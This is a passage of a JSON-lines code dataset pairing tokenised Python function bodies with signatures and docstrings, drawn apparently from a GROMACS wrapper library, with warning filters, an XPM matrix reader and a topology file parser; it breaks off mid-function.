{"signature": "def disable_gromacs_warnings(categories=None):", "body": "filter_gromacs_warnings('<STR_LIT:ignore>', categories=categories)<EOL>", "docstring": "Disable (\"ignore\") specified warnings from the gromacs package.\n\n    *categories* must be a list of warning classes or strings.\n    ``None`` selects the defaults.", "id": "f6853:m3"}
{"signature": "def enable_gromacs_warnings(categories=None):", "body": "filter_gromacs_warnings('<STR_LIT>', categories=categories)<EOL>", "docstring": "Enable (\"always\") specified warnings from the gromacs package.\n\n    *categories* must be a list of warning classes or strings.\n    ``None`` selects the defaults, :data:`gromacs._less_important_warnings`.", "id": "f6853:m4"}
{"signature": "def __init__(self, filename=None, **kwargs):", "body": "self.autoconvert = kwargs.pop(\"<STR_LIT>\", True)<EOL>self.reverse = kwargs.pop(\"<STR_LIT>\", True)<EOL>self.__array = None<EOL>super(XPM, self).__init__(**kwargs)  <EOL>if filename is not None:<EOL><INDENT>self._init_filename(filename)<EOL>self.read(filename)<EOL><DEDENT>", "docstring": "Initialize xpm structure.\n\n        :Arguments:\n          *filename*\n              read from xpm file directly\n          *autoconvert*\n              try to guess the type of the output array from the\n              colour legend [``True``]\n          *reverse*\n              reverse rows (2nd dimension): re-orders the rows so that\n              the first row corresponds e.g. to the first residue or\n              first H-bonds and not the last) [``True``]", "id": "f6854:c0:m0"}
{"signature": "@property<EOL><INDENT>def array(self):<DEDENT>", "body": "return self.__array<EOL>", "docstring": "XPM matrix as a :class:`numpy.ndarray`.\n\n        The attribute itself cannot be assigned a different array but\n        the contents of the array can be modified.", "id": "f6854:c0:m2"}
{"signature": "def read(self, filename=None):", "body": "self._init_filename(filename)<EOL>self.parse()<EOL>", "docstring": "Read and parse mdp file *filename*.", "id": "f6854:c0:m3"}
{"signature": "def parse(self):", "body": "with utilities.openany(self.real_filename) as xpm:<EOL><INDENT>meta = [xpm.readline()]<EOL>while not meta[-<NUM_LIT:1>].startswith(\"<STR_LIT>\"):<EOL><INDENT>meta.append(xpm.readline())<EOL><DEDENT>dim = xpm.readline()<EOL>nx, ny, nc, nb = [int(i) for i in self.unquote(dim).split()]<EOL>colors = dict([self.col(xpm.readline()) for i in range(nc)])<EOL>if self.autoconvert:<EOL><INDENT>autoconverter = Autoconverter(mode=\"<STR_LIT>\")<EOL>for symbol, value in colors.items():<EOL><INDENT>colors[symbol] = autoconverter.convert(value)<EOL><DEDENT>self.logger.debug(\"<STR_LIT>\", colors)<EOL><DEDENT>dtype = numpy.array(colors.values()).dtype<EOL>self.logger.debug(\"<STR_LIT>\", dtype.name)<EOL>data = numpy.zeros((int(nx/nb), ny), dtype=dtype)<EOL>self.logger.debug(\"<STR_LIT>\",<EOL>nx, ny, nb, nc, nx/nb, ny)<EOL>iy = <NUM_LIT:0><EOL>xval = []<EOL>yval = []<EOL>autoconverter = Autoconverter(mode=\"<STR_LIT>\")<EOL>for line in xpm:<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>s = self.uncomment(line).strip()<EOL>if s.startswith('<STR_LIT>'):<EOL><INDENT>xval.extend([autoconverter.convert(x) for x in s[<NUM_LIT:7>:].split()])<EOL><DEDENT>elif s.startswith('<STR_LIT>'):<EOL><INDENT>yval.extend([autoconverter.convert(y) for y in s[<NUM_LIT:7>:].split()])<EOL><DEDENT>continue<EOL><DEDENT>s = self.unquote(line)<EOL>data[:, iy] = [colors[s[k:k+nb]] for k in range(<NUM_LIT:0>,nx,nb)]<EOL>self.logger.debug(\"<STR_LIT>\",<EOL>iy, data.shape[<NUM_LIT:0>], s[:<NUM_LIT:4>], s[-<NUM_LIT:4>:])<EOL>iy += <NUM_LIT:1>  <EOL><DEDENT><DEDENT>self.xvalues = numpy.array(xval)<EOL>if self.reverse:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\", self.reverse)<EOL>self.__array = data[:, ::-<NUM_LIT:1>]<EOL>self.yvalues = numpy.array(yval)<EOL><DEDENT>else:<EOL><INDENT>self.__array = data<EOL>self.yvalues = numpy.array(yval)[::-<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Parse the xpm file and populate :attr:`XPM.array`.", "id": "f6854:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def unquote(s):<DEDENT>", "body": "return s[<NUM_LIT:1>+s.find('<STR_LIT:\">'):s.rfind('<STR_LIT:\">')]<EOL>", "docstring": "Return string *s* with quotes ``\"`` removed.", "id": "f6854:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def uncomment(s):<DEDENT>", "body": "return s[<NUM_LIT:2>+s.find('<STR_LIT>'):s.rfind('<STR_LIT>')]<EOL>", "docstring": "Return string *s* with C-style comments ``/*`` ... ``*/`` removed.", "id": "f6854:c0:m6"}
{"signature": "def col(self, c):", "body": "m = self.COLOUR.search(c)<EOL>if not m:<EOL><INDENT>self.logger.fatal(\"<STR_LIT>\", c)<EOL>raise ParseError(\"<STR_LIT>\".format(c))<EOL><DEDENT>value = m.group('<STR_LIT:value>')<EOL>color = m.group('<STR_LIT>')<EOL>self.logger.debug(\"<STR_LIT>\", c.strip(), color, value)<EOL>return color, value<EOL>", "docstring": "Parse colour specification", "id": "f6854:c0:m7"}
{"signature": "def anumb_to_atom(self, anumb):", "body": "assert isinstance(anumb, int), \"<STR_LIT>\"<EOL>if not self._anumb_to_atom:   <EOL><INDENT>if self.atoms:<EOL><INDENT>for atom in self.atoms:<EOL><INDENT>self._anumb_to_atom[atom.number] = atom<EOL><DEDENT>return self._anumb_to_atom[anumb]<EOL><DEDENT>else:<EOL><INDENT>self.logger(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if anumb in self._anumb_to_atom:<EOL><INDENT>return self._anumb_to_atom[anumb]<EOL><DEDENT>else:<EOL><INDENT>self.logger(\"<STR_LIT>\".format(anumb))<EOL>return False<EOL><DEDENT><DEDENT>", "docstring": "Returns the atom object corresponding to an atom number", "id": "f6855:c1:m1"}
{"signature": "def renumber_atoms(self):", "body": "if self.atoms:<EOL><INDENT>self._anumb_to_atom = {}<EOL>for i,atom in enumerate(self.atoms):<EOL><INDENT>atom.number = i+<NUM_LIT:1>   <EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.logger(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Reset the molecule's atoms :attr:`number` to be 1-indexed", "id": "f6855:c1:m2"}
{"signature": "def __init__(self, fname):", "body": "super(TOP, self).__init__()<EOL>self.fname = fname<EOL>self.defaults = {<EOL>'<STR_LIT>': None, '<STR_LIT>':None, '<STR_LIT>':None, '<STR_LIT>':None, '<STR_LIT>':None,<EOL>}<EOL>self.dict_molname_mol = odict()   <EOL>self.found_sections   = []<EOL>self.forcefield       = '<STR_LIT>'<EOL>self.molecules = []<EOL>self._parse(fname)<EOL>self.molecules = tuple(self.molecules)<EOL>", "docstring": "Initialize the TOP structure.\n\n        :Arguments:\n          *fname*\n              name of the processed.top file", "id": "f6856:c0:m0"}
{"signature": "def write(self, filename):", "body": "SystemToGroTop(self, filename)<EOL>", "docstring": "Write the TOP object to a file", "id": "f6856:c0:m1"}
{"signature": "def __repr__(self):", "body": "moltypenames = list(self.dict_molname_mol.keys())<EOL>moltypenames.sort()<EOL>data = []<EOL>data.append('<STR_LIT:\\n>')<EOL>main_items = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>other_items = ['<STR_LIT>'.format(m, len(self.information[m])) for m in list(self.information.keys()) if m not in main_items]<EOL>other_items = '<STR_LIT:U+0020>'.join(other_items)<EOL>nattype = len(self.atomtypes)<EOL>nprtype = len(self.pairtypes)<EOL>nbndtype= len(self.bondtypes)<EOL>nangtype= len(self.angletypes)<EOL>ndihtype= len(self.dihedraltypes)<EOL>nimptype= len(self.impropertypes)<EOL>data.append('<STR_LIT>'.format('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>msg = '<STR_LIT>'.format('<STR_LIT>', nattype, nprtype, nbndtype, nangtype, ndihtype, nimptype, other_items)<EOL>data.append('<STR_LIT:=>' * <NUM_LIT>)<EOL>data.append(msg)<EOL>data.append('<STR_LIT:\\n>')<EOL>main_items = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>data.append('<STR_LIT>'.format('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'))<EOL>data.append('<STR_LIT:=>' * <NUM_LIT>)<EOL>for mname in moltypenames:<EOL><INDENT>mol = self.dict_molname_mol[mname]<EOL>other_items = ['<STR_LIT>'.format(m, len(mol.information[m])) for m in list(mol.information.keys()) if m not in main_items]<EOL>other_items = '<STR_LIT:U+0020>'.join(other_items)<EOL>natoms = len(mol.atoms)<EOL>npairs = len(mol.pairs)<EOL>nbonds = len(mol.bonds)<EOL>nangles= len(mol.angles)<EOL>ndih   = len(mol.dihedrals)<EOL>nimp   = len(mol.impropers)<EOL>msg = '<STR_LIT>'.format(mol.name, natoms, npairs, nbonds, nangles, ndih, nimp, other_items)<EOL>data.append(msg)<EOL><DEDENT>return '<STR_LIT:\\n>'.join(data)<EOL>", "docstring": "Represent the TOP object as a string", "id": "f6856:c0:m2"}
{"signature": "def _parse(self, fname):", "body": "def _find_section(line):<EOL><INDENT>return  line.strip('<STR_LIT:[>').strip('<STR_LIT:]>').strip()<EOL><DEDENT>def _add_info(sys_or_mol, section, container):<EOL><INDENT>if sys_or_mol.information.get(section, False) is False:<EOL><INDENT>sys_or_mol.information[section] = container<EOL><DEDENT><DEDENT>mol        = None   <EOL>curr_sec   = None<EOL>cmap_lines = []<EOL>with open(fname) as f:<EOL><INDENT>for i_line, line in enumerate(f):<EOL><INDENT>if '<STR_LIT:;>' in line:<EOL><INDENT>line = line[<NUM_LIT:0>:line.index('<STR_LIT:;>')]<EOL><DEDENT>line = line.strip()<EOL>if line == '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>if line[<NUM_LIT:0>] == '<STR_LIT:*>':<EOL><INDENT>continue<EOL><DEDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>msg = '<STR_LIT>'<EOL>msg+= '<STR_LIT>'<EOL>raise ValueError(msg)<EOL><DEDENT>if line[<NUM_LIT:0>] == '<STR_LIT:[>':<EOL><INDENT>curr_sec = _find_section(line)<EOL>self.found_sections.append(curr_sec)<EOL>continue<EOL><DEDENT>fields = line.split()<EOL>if curr_sec == '<STR_LIT>':<EOL><INDENT>'''<STR_LIT>'''<EOL>assert len(fields) in  [<NUM_LIT:2>, <NUM_LIT:5>]<EOL>self.defaults['<STR_LIT>']    = int(fields[<NUM_LIT:0>])<EOL>self.defaults['<STR_LIT>'] = int(fields[<NUM_LIT:1>])<EOL>if len(fields) == <NUM_LIT:5>:<EOL><INDENT>self.defaults['<STR_LIT>'] = fields[<NUM_LIT:2>]<EOL>self.defaults['<STR_LIT>']   = float(fields[<NUM_LIT:3>])<EOL>self.defaults['<STR_LIT>']   = float(fields[<NUM_LIT:4>])<EOL><DEDENT><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>'''<STR_LIT>'''<EOL>if len(fields) not in (<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>):<EOL><INDENT>self.logger.warning('<STR_LIT>'.format(line))<EOL>continue<EOL><DEDENT>shift = len(fields) - <NUM_LIT:7><EOL>at = blocks.AtomType('<STR_LIT>')<EOL>at.atype = fields[<NUM_LIT:0>]<EOL>if shift == <NUM_LIT:1>: at.bond_type = fields[<NUM_LIT:1>]<EOL>at.mass  = float(fields[<NUM_LIT:2>+shift])<EOL>at.charge= float(fields[<NUM_LIT:3>+shift])<EOL>particletype = fields[<NUM_LIT:4>+shift]<EOL>assert particletype in ('<STR_LIT:A>', '<STR_LIT:S>', '<STR_LIT>', '<STR_LIT:D>')<EOL>if particletype not in ('<STR_LIT:A>',):<EOL><INDENT>self.logger.warning('<STR_LIT>'.format(line))<EOL><DEDENT>sig = float(fields[<NUM_LIT:5>+shift])<EOL>eps = float(fields[<NUM_LIT:6>+shift])<EOL>at.gromacs= {'<STR_LIT>': {'<STR_LIT>':eps, '<STR_LIT>':sig, '<STR_LIT>':None, '<STR_LIT>':None} }<EOL>self.atomtypes.append(at)<EOL>_add_info(self, curr_sec, self.atomtypes)<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>assert len(fields) == <NUM_LIT:2><EOL>mol = blocks.Molecule()<EOL>mol.name = fields[<NUM_LIT:0>]<EOL>mol.exclusion_numb = int(fields[<NUM_LIT:1>])<EOL>self.dict_molname_mol[mol.name] = mol<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>'''<STR_LIT>'''<EOL>aserial = int(fields[<NUM_LIT:0>])<EOL>atype   = fields[<NUM_LIT:1>]<EOL>resnumb = int(fields[<NUM_LIT:2>])<EOL>resname = fields[<NUM_LIT:3>]<EOL>aname   = fields[<NUM_LIT:4>]<EOL>cgnr    = int(fields[<NUM_LIT:5>])<EOL>charge  = float(fields[<NUM_LIT:6>])<EOL>rest = fields[<NUM_LIT:7>:]<EOL>atom         = blocks.Atom()<EOL>atom.name    = aname<EOL>atom.atomtype= atype<EOL>atom.number  = aserial<EOL>atom.resname = resname<EOL>atom.resnumb = resnumb<EOL>atom.charge  = charge<EOL>if rest:<EOL><INDENT>mass = float(rest[<NUM_LIT:0>])<EOL>atom.mass = mass<EOL><DEDENT>mol.atoms.append(atom)<EOL>_add_info(mol, curr_sec, mol.atoms)<EOL><DEDENT>elif curr_sec in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>'''<STR_LIT>'''<EOL>ai, aj = fields[:<NUM_LIT:2>]<EOL>fu     = int(fields[<NUM_LIT:2>])<EOL>assert fu in (<NUM_LIT:1>,<NUM_LIT:2>)<EOL>pair = blocks.InteractionType('<STR_LIT>')<EOL>if fu == <NUM_LIT:1>:<EOL><INDENT>if curr_sec=='<STR_LIT>':<EOL><INDENT>pair.atype1 = ai<EOL>pair.atype2 = aj<EOL>v, w = list(map(float, fields[<NUM_LIT:3>:<NUM_LIT:5>]))<EOL>pair.gromacs = {'<STR_LIT>': {'<STR_LIT>':None, '<STR_LIT>':None, '<STR_LIT>':w, '<STR_LIT>':v}, '<STR_LIT>':fu }<EOL>self.pairtypes.append(pair)<EOL>_add_info(self, curr_sec, self.pairtypes)<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>ai, aj = list( map(int, [ai,aj]) )<EOL>pair.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>pair.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>pair.gromacs['<STR_LIT>'] = fu<EOL>mol.pairs.append(pair)<EOL>_add_info(mol, curr_sec, mol.pairs)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>'.format(curr_sec,fu))<EOL><DEDENT><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>'''<STR_LIT>'''<EOL>assert len(fields) == <NUM_LIT:5><EOL>ai, aj = fields[:<NUM_LIT:2>]<EOL>fu     = int(fields[<NUM_LIT:2>])<EOL>assert fu == <NUM_LIT:1><EOL>sig    = float(fields[<NUM_LIT:3>])<EOL>eps    = float(fields[<NUM_LIT:4>])<EOL>nonbond_param = blocks.NonbondedParamType('<STR_LIT>')<EOL>nonbond_param.atype1 = ai<EOL>nonbond_param.atype2 = aj<EOL>nonbond_param.gromacs['<STR_LIT>'] = fu<EOL>nonbond_param.gromacs['<STR_LIT>'] = {'<STR_LIT>': eps, '<STR_LIT>': sig}<EOL>self.nonbond_params.append(nonbond_param)<EOL>_add_info(self, curr_sec, self.nonbond_params)<EOL><DEDENT>elif curr_sec in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>'''<STR_LIT>'''<EOL>ai, aj = fields[:<NUM_LIT:2>]<EOL>fu     = int(fields[<NUM_LIT:2>])<EOL>assert fu in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:7>,<NUM_LIT:8>,<NUM_LIT:9>,<NUM_LIT:10>)<EOL>if fu != <NUM_LIT:1>:<EOL><INDENT>raise NotImplementedError('<STR_LIT>'.format(fu))<EOL><DEDENT>bond = blocks.BondType('<STR_LIT>')<EOL>if fu == <NUM_LIT:1>:<EOL><INDENT>if curr_sec == '<STR_LIT>':<EOL><INDENT>bond.atype1 = ai<EOL>bond.atype2 = aj<EOL>b0, kb = list(map(float, fields[<NUM_LIT:3>:<NUM_LIT:5>]))<EOL>bond.gromacs = {'<STR_LIT>':{'<STR_LIT>':kb, '<STR_LIT>':b0}, '<STR_LIT>':fu}<EOL>self.bondtypes.append(bond)<EOL>_add_info(self, curr_sec, self.bondtypes)<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>ai, aj = list(map(int, [ai, aj]))<EOL>bond.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>bond.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>bond.gromacs['<STR_LIT>'] = fu<EOL>if len(fields) > <NUM_LIT:3>:<EOL><INDENT>b0, kb = list(map(float, fields[<NUM_LIT:3>:<NUM_LIT:5>]))<EOL>bond.gromacs = {'<STR_LIT>':{'<STR_LIT>':kb, '<STR_LIT>':b0}, '<STR_LIT>':fu}<EOL><DEDENT>mol.bonds.append(bond)<EOL>_add_info(mol, curr_sec, mol.bonds)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT><DEDENT>elif curr_sec in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>'''<STR_LIT>'''<EOL>ai, aj , ak = fields[:<NUM_LIT:3>]<EOL>fu          = int(fields[<NUM_LIT:3>])<EOL>assert fu in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:8>)  <EOL>if fu not in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:5>):<EOL><INDENT>raise NotImplementedError('<STR_LIT>'.format(fu))<EOL><DEDENT>ang = blocks.AngleType('<STR_LIT>')<EOL>if fu == <NUM_LIT:1>:<EOL><INDENT>if curr_sec == '<STR_LIT>':<EOL><INDENT>ang.atype1 = ai<EOL>ang.atype2 = aj<EOL>ang.atype3 = ak<EOL>tetha0, ktetha = list(map(float, fields[<NUM_LIT:4>:<NUM_LIT:6>]))<EOL>ang.gromacs = {'<STR_LIT>':{'<STR_LIT>':ktetha, '<STR_LIT>':tetha0, '<STR_LIT>':None, '<STR_LIT>':None}, '<STR_LIT>':fu}<EOL>self.angletypes.append(ang)<EOL>_add_info(self, curr_sec, self.angletypes)<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>ai, aj, ak = list(map(int, [ai, aj, ak]))<EOL>ang.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>ang.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>ang.atom3 = mol.atoms[ak-<NUM_LIT:1>]<EOL>ang.gromacs['<STR_LIT>'] = fu<EOL>mol.angles.append(ang)<EOL>_add_info(mol, curr_sec, mol.angles)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>elif fu == <NUM_LIT:2>:<EOL><INDENT>if curr_sec == '<STR_LIT>':<EOL><INDENT>raise NotImplementedError()<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>ai, aj, ak = list(map(int, [ai, aj, ak]))<EOL>ang.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>ang.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>ang.atom3 = mol.atoms[ak-<NUM_LIT:1>]<EOL>ang.gromacs['<STR_LIT>'] = fu<EOL>tetha0, ktetha = list(map(float, fields[<NUM_LIT:4>:<NUM_LIT:6>]))<EOL>ang.gromacs = {'<STR_LIT>':{'<STR_LIT>':ktetha, '<STR_LIT>':tetha0, '<STR_LIT>':None, '<STR_LIT>':None}, '<STR_LIT>':fu}<EOL>mol.angles.append(ang)<EOL>_add_info(mol, curr_sec, mol.angles)<EOL><DEDENT><DEDENT>elif fu == <NUM_LIT:5>:<EOL><INDENT>if curr_sec == '<STR_LIT>':<EOL><INDENT>ang.atype1 = ai<EOL>ang.atype2 = aj<EOL>ang.atype3 = ak<EOL>tetha0, ktetha, s0, kub = list(map(float, fields[<NUM_LIT:4>:<NUM_LIT:8>]))<EOL>ang.gromacs = {'<STR_LIT>':{'<STR_LIT>':ktetha, '<STR_LIT>':tetha0, '<STR_LIT>':kub, '<STR_LIT>':s0}, '<STR_LIT>':fu}<EOL>self.angletypes.append(ang)<EOL>_add_info(self, curr_sec, self.angletypes)<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>ai, aj, ak = list(map(int, [ai, aj, ak]))<EOL>ang.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>ang.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>ang.atom3 = mol.atoms[ak-<NUM_LIT:1>]<EOL>ang.gromacs['<STR_LIT>'] = fu<EOL>mol.angles.append(ang)<EOL>_add_info(mol, curr_sec, mol.angles)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT><DEDENT>elif curr_sec in  ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>'''<STR_LIT>'''<EOL>if curr_sec == '<STR_LIT>' and len(fields) == <NUM_LIT:6>:<EOL><INDENT>fields.insert(<NUM_LIT:2>, '<STR_LIT:X>')<EOL>fields.insert(<NUM_LIT:0>, '<STR_LIT:X>')<EOL><DEDENT>ai, aj, ak, am = fields[:<NUM_LIT:4>]<EOL>fu = int(fields[<NUM_LIT:4>])<EOL>assert fu in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:8>,<NUM_LIT:9>)<EOL>if fu not in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>,<NUM_LIT:9>):<EOL><INDENT>raise NotImplementedError('<STR_LIT>'.format(fu))<EOL><DEDENT>dih = blocks.DihedralType('<STR_LIT>')<EOL>imp = blocks.ImproperType('<STR_LIT>')<EOL>if fu in (<NUM_LIT:1>,<NUM_LIT:3>,<NUM_LIT:9>):<EOL><INDENT>if curr_sec == '<STR_LIT>':<EOL><INDENT>dih.atype1 = ai<EOL>dih.atype2 = aj<EOL>dih.atype3 = ak<EOL>dih.atype4 = am<EOL>dih.line = i_line + <NUM_LIT:1><EOL>if fu == <NUM_LIT:1>:<EOL><INDENT>delta, kchi, n = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:8>]))<EOL>dih.gromacs['<STR_LIT>'].append({'<STR_LIT>':kchi, '<STR_LIT:n>':n, '<STR_LIT>':delta})<EOL><DEDENT>elif fu == <NUM_LIT:3>:<EOL><INDENT>c0, c1, c2, c3, c4, c5 = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:11>]))<EOL>m = dict(c0=c0, c1=c1, c2=c2, c3=c3, c4=c4, c5=c5)<EOL>dih.gromacs['<STR_LIT>'].append(m)<EOL><DEDENT>elif fu == <NUM_LIT:4>:<EOL><INDENT>delta, kchi, n = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:8>]))<EOL>dih.gromacs['<STR_LIT>'].append({'<STR_LIT>':kchi, '<STR_LIT:n>':int(n), '<STR_LIT>':delta})<EOL><DEDENT>elif fu == <NUM_LIT:9>:<EOL><INDENT>delta, kchi, n = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:8>]))<EOL>dih.gromacs['<STR_LIT>'].append({'<STR_LIT>':kchi, '<STR_LIT:n>':int(n), '<STR_LIT>':delta})<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT>dih.gromacs['<STR_LIT>'] = fu<EOL>self.dihedraltypes.append(dih)<EOL>_add_info(self, curr_sec, self.dihedraltypes)<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>ai, aj, ak, am = list(map(int, fields[:<NUM_LIT:4>]))<EOL>dih.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>dih.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>dih.atom3 = mol.atoms[ak-<NUM_LIT:1>]<EOL>dih.atom4 = mol.atoms[am-<NUM_LIT:1>]<EOL>dih.gromacs['<STR_LIT>'] = fu<EOL>dih.line = i_line + <NUM_LIT:1><EOL>if fu == <NUM_LIT:1>:<EOL><INDENT>delta, kchi, n = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:8>]))<EOL>dih.gromacs['<STR_LIT>'].append({'<STR_LIT>':kchi, '<STR_LIT:n>': int(n), '<STR_LIT>':delta})<EOL><DEDENT>elif fu == <NUM_LIT:3>:<EOL><INDENT>pass<EOL><DEDENT>elif fu == <NUM_LIT:4>:<EOL><INDENT>pass<EOL><DEDENT>elif fu == <NUM_LIT:9>:<EOL><INDENT>if len(fields[<NUM_LIT:5>:<NUM_LIT:8>]) == <NUM_LIT:3>:<EOL><INDENT>delta, kchi, n = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:8>]))<EOL>dih.gromacs['<STR_LIT>'].append({'<STR_LIT>':kchi, '<STR_LIT:n>':int(n), '<STR_LIT>':delta})<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT>mol.dihedrals.append(dih)<EOL>_add_info(mol, curr_sec, mol.dihedrals)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>elif fu in (<NUM_LIT:2>,<NUM_LIT:4>):<EOL><INDENT>if curr_sec == '<STR_LIT>':<EOL><INDENT>imp.atype1 = ai<EOL>imp.atype2 = aj<EOL>imp.atype3 = ak<EOL>imp.atype4 = am<EOL>imp.line = i_line + <NUM_LIT:1><EOL>if fu == <NUM_LIT:2>:<EOL><INDENT>psi0 , kpsi = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:7>]))<EOL>imp.gromacs['<STR_LIT>'].append({'<STR_LIT>':kpsi, '<STR_LIT>': psi0})<EOL><DEDENT>elif fu == <NUM_LIT:4>:<EOL><INDENT>psi0 , kpsi, n = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:8>]))<EOL>imp.gromacs['<STR_LIT>'].append({'<STR_LIT>':kpsi, '<STR_LIT>': psi0, '<STR_LIT:n>': int(n)})<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT>imp.gromacs['<STR_LIT>'] = fu<EOL>self.impropertypes.append(imp)<EOL>_add_info(self, curr_sec, self.impropertypes)<EOL><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>ai, aj, ak, am = list(map(int, fields[:<NUM_LIT:4>]))<EOL>imp.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>imp.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>imp.atom3 = mol.atoms[ak-<NUM_LIT:1>]<EOL>imp.atom4 = mol.atoms[am-<NUM_LIT:1>]<EOL>imp.gromacs['<STR_LIT>'] = fu<EOL>imp.line = i_line + <NUM_LIT:1><EOL>if fu == <NUM_LIT:2>:<EOL><INDENT>pass<EOL><DEDENT>elif fu == <NUM_LIT:4>:<EOL><INDENT>if len(fields[<NUM_LIT:5>:<NUM_LIT:8>]) == <NUM_LIT:3>:<EOL><INDENT>psi0 , kpsi, n = list(map(float, fields[<NUM_LIT:5>:<NUM_LIT:8>]))<EOL>imp.gromacs['<STR_LIT>'].append({'<STR_LIT>':kpsi, '<STR_LIT>': psi0, '<STR_LIT:n>': int(n)})<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT>mol.impropers.append(imp)<EOL>_add_info(mol, curr_sec, mol.impropers)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise NotImplementedError<EOL><DEDENT><DEDENT>elif curr_sec in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>cmap = blocks.CMapType('<STR_LIT>')<EOL>if curr_sec == '<STR_LIT>':<EOL><INDENT>cmap_lines.append(line)<EOL>_add_info(self, curr_sec, self.cmaptypes)<EOL><DEDENT>else:<EOL><INDENT>ai, aj, ak, am, an = list(map(int, fields[:<NUM_LIT:5>]))<EOL>fu = int(fields[<NUM_LIT:5>])<EOL>assert fu == <NUM_LIT:1><EOL>cmap.atom1 = mol.atoms[ai-<NUM_LIT:1>]<EOL>cmap.atom2 = mol.atoms[aj-<NUM_LIT:1>]<EOL>cmap.atom3 = mol.atoms[ak-<NUM_LIT:1>]<EOL>cmap.atom4 = mol.atoms[am-<NUM_LIT:1>]<EOL>cmap.atom8 = mol.atoms[an-<NUM_LIT:1>]<EOL>cmap.gromacs['<STR_LIT>'] = fu<EOL>mol.cmaps.append(cmap)<EOL>_add_info(mol, curr_sec, mol.cmaps)<EOL><DEDENT><DEDENT>elif curr_sec == '<STR_LIT>':<EOL><INDENT>'''<STR_LIT>'''<EOL>assert len(fields) == <NUM_LIT:4><EOL>ai = int(fields[<NUM_LIT:0>])<EOL>fu = int(fields[<NUM_LIT:1>])<EOL>assert fu == <NUM_LIT:1><EOL>settle = 